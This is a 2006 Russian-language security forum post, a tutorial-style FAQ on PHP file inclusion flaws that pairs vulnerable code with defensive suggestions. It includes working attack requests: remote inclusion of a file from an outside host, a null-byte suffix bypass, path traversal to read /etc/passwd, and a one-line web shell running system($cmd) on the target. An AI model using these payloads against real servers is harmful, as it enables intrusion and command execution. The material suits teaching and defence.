ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

PHP Including FAQ
  #1  
Старый 29.04.2006, 14:29
Аватар для kot777
kot777
Seo Pozitive
Регистрация: 13.08.2004
Сообщений: 779
Провел на форуме:
5581277

Репутация: 1635


Отправить сообщение для kot777 с помощью ICQ
По умолчанию PHP Including FAQ

Php including - является одной из самых опасных ошибок разработчиков веб-сайтов.
Что же такое php including? Под ним подразумевают внедрение произвольного php кода в страницу.
Для начала рассмотрим техническую сторону вопроса ,т.е. из-за чего происходит внедрение кода.
Вот допустим есть файл index.php и в нем код:

Код:
<?
echo "Конфигурация:<br>";
include "config.php";
?>
а в файле config.php содержится такой текст:
Код:
<?
echo "Процессор:1,7<br>Видеоркарта:64 МБ";
?>
Примечание:
<?
Эти знаки показывают что между ними будет находиться php код.
?>
<br> переход на новую строку.
include: функция включения другого файла.

Для файла index.php интерпритатор php будет иметь вид

Код:
<?
echo "Конфигурация:<br>";
echo "Процессор:1,7<br>Видеоркарта:64 МБ";
?>
т.е. вместо include выведится содержимое того файла.

Здесь рассматривался пример как в php происходит жесткий инклуд(когда файл который нужно проинклудить жестко определен в коде и не может быть изменен), теперь рассмотрим какие же бывают случаи когда файл можно задать самому.
Пример:
Код:
файл index.php
<?
if($page!='')
include "$page";
?>
здесь вначале проверяется, не пустой ли параметр $page, если не пустой, тогда он инклудиться, и если мы сделаем такой запрос
index.php?page=config.php
то на экране нам покажеться

Код:
Процессор:1,7
Видеоркарта:64 МБ
казалось бы тут не может быть опасности, а она тут есть.
Вы можете подумать что можно инклудить только те файлы которые есть в этой
папке (или вообще на сервере) ,а вот и нет.
Можно инклудить и удаленные(не те которые удалили, а те которые находяться в другом месте) файлы.
вот например так:
создадим на narod.ru сайт sec.narod.ru и поместим туда файл
index.php с таким содержимым:

Код:
<?
echo "Этот пример показывает, что инклудить можно удаленные файлы";
?>
и сделаем такой запрос:
index.php?page=http://sec.narod.ru/index.php
и у нас отобразиться:
Этот пример показывает, что инклудить можно удаленные файлы

Иногда разработчики делают такую "защиту":
файл index.php

Код:
<?
if($page!='')
include "$page.php";
?>
Но если мы сделаем такой запрос
index.php?page=http://sec.narod.ru/index
то интерпретатор php автоматически добавит .php к нашему запросу, и

параметр $page будет иметь такой вид:
page=http://sec.narod.ru/index.php

Примечание:
инклудить можно не только *.php файлы, а файлы с любым расширением, лишь бы
там был написан php код.
Еще разработчики, иногда делают такую защиту

Код:
<?
if($page!='')
include "$page.jpg";
?>
Наивно полагают что будут инклудиться только картинки. Иногда они правы, а иногда и нет.
Существует такое понятие как ноль(он же %00 и \x00 ).
Примечание:
Ноль является символом перехода строки.
Рассмотрим на практике как он работает.
если послать такой запрос

index.php?page=http://sec.narod.ru/index.php
то интерпретатор php присвоит переменной $page такое значение:
page=http://sec.narod.ru/index.php.jpg
А теперь попробуем составить запрос с нулем:
index.php?page=http://sec.narod.ru/index.php%00
и переменной $page присвоиться такое значение
Код:

page=http://sec.narod.ru/index.php[NULL].jpg

и для интерпретатора уже будет иметь такой вид:
page=http://sec.narod.ru/index.php
Давайте рассмотрим как же можно защищаться от таких опасных ошибок:
Можно защищаться функцией file_exists
эта функция проверяет существует ли такой файл или нет.
Например

Код:
<?
$page = "../../files/$page.php";
if(file_exists($page))
include $page;
?>
здесь она проверяет есть ли такой файл или нет и затем его инклудит.

Есть одно важное "НО" функция не работает с удаленными файлами, т.е. в этом случае

мы не сможем делать такие запросы:
index.php?page=http://sec.narod.ru/index.php
Причем параметр $page должен находиться в папке /files/
Опасность резко снижаеться, но возникает теперь другая проблема, если мы
имеем право инклудить только локальные файлы, так почему же нам это не
сделать? и напишем такой запрос
index.php?page=../../../../../../../../etc/passwd
и на покажется файл passwd
Поэтому нужно еще как нибудь обезопасить себя, например если вырезать ненужные символы.
Вот код который обезопасит вас от php инклудов

Код:
<?
$page=str_replace("/","",$page);
$page=str_replace(".","",$page);
if(file_exists($page))
include "/files/$page";
?>
Примечание:
функция str_replace (синтаксис $str=str_replace($str1,$str2,$page))заменяе т первую строку $str1 второй
строкой $str2 в параметре $page
Итак мы научились пользоваться и защищаться от php инклудов. "Ну и что из
этого что можно проинклудить файл" - Спросите вы.
А дело в том что если мы можем инклудить php код, то мы можем исполнять
команды на сервере
пример:
создадим на sec.narod.ru файл main.txt с содержимым:

Код:
<?
system($cmd);
?>
и сделаем такой запрос:
index.php?page=http://sec.narod.ru/main.txt&cmd=ls
и у нас отобразиться команда ls
примечание:
команда ls выводит список файлов в линуксе, в виндоусе такая команда - dir
Автор FAQ - kot777 и k1b0rg (специально для ачата и моего раздела =) )
Так же по этой же теме можно прочитать - вот эту статью
http://forum.antichat.ru/threadnav12123-1-10.html
__________________
ICQ 328498627

Хочешь Элитный OpenVPN за 10 у.е ?

Последний раз редактировалось kot777; 29.04.2006 в 18:53.. Причина: грамматика
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Комментарии к FAQ PHP Including drmist Уязвимости 9 04.05.2006 19:47
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ